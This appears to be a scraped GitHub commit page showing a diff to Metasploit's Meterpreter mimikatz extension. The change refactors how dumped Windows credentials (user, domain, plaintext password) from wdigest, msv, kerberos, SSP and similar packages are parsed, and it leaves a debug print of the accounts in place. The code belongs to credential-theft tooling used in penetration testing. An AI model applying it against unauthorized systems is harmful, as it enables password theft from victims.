Skip to content

Commit fc621e8

Browse files
committed
Parse ssp correctly
1 parent 83fbc3e commit fc621e8

File tree

1 file changed

+48
-16
lines changed
  • lib/rex/post/meterpreter/extensions/mimikatz

1 file changed

+48
-16
lines changed

lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

Lines changed: 48 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -37,45 +37,77 @@ def initialize(client)
3737
def mimikatz_send_request(method)
3838
request = Packet.create_request(method)
3939
response = client.send_request(request)
40-
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
40+
return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
41+
end
4142

43+
def parse_mimikatz_result(result)
44+
details = CSV.parse(result)
45+
accounts = []
46+
details.each do |acc|
47+
account = {
48+
:authid => acc[0],
49+
:package => acc[1],
50+
:user => acc[2],
51+
:domain => acc[3],
52+
:password => acc[4]
53+
}
54+
accounts << account
55+
end
56+
return accounts
57+
end
58+
59+
def parse_mimikatz_ssp_result(result)
4260
details = CSV.parse(result)
43-
accounts = []
61+
accounts = []
4462
details.each do |acc|
45-
account = {
46-
:authid => acc[0],
47-
:package => acc[1],
48-
:user => acc[2],
49-
:domain => acc[3],
50-
:password => acc[4]
51-
}
52-
accounts << account
63+
ssps = acc[4].split(' }')
64+
ssps.each do |ssp|
65+
s_acc = ssp.split(' ; ')
66+
user = s_acc[0].split('{ ')[1]
67+
account = {
68+
:authid => acc[0],
69+
:package => acc[1],
70+
:user => user,
71+
:domain => s_acc[1],
72+
:password => s_acc[2],
73+
:orig_user => acc[2],
74+
:orig_domain => acc[3]
75+
}
76+
accounts << account
77+
end
5378
end
79+
p accounts
5480
return accounts
5581
end
5682

5783
def wdigest
58-
mimikatz_send_request('mimikatz_wdigest')
84+
result = mimikatz_send_request('mimikatz_wdigest')
85+
return parse_mimikatz_result(result)
5986
end
6087

6188
def msv
62-
mimikatz_send_request('mimikatz_msv1_0')
89+
result = mimikatz_send_request('mimikatz_msv1_0')
90+
return parse_mimikatz_result(result)
6391
end
6492

6593
def livessp
66-
mimikatz_send_request('mimikatz_livessp')
94+
result = mimikatz_send_request('mimikatz_livessp')
95+
return parse_mimikatz_result(result)
6796
end
6897

6998
def ssp
70-
mimikatz_send_request('mimikatz_ssp')
99+
result = mimikatz_send_request('mimikatz_ssp')
100+
return parse_mimikatz_ssp_result(result)
71101
end
72102

73103
def tspkg
74-
mimikatz_send_request('mimikatz_tspkg')
104+
result = mimikatz_send_request('mimikatz_tspkg')
105+
return parse_mimikatz_result(result)
75106
end
76107

77108
def kerberos
78-
mimikatz_send_request('mimikatz_kerberos')
109+
result = mimikatz_send_request('mimikatz_kerberos')
110+
return parse_mimikatz_result(result)
79111
end
80112
end
81113

0 commit comments

Comments
 (0)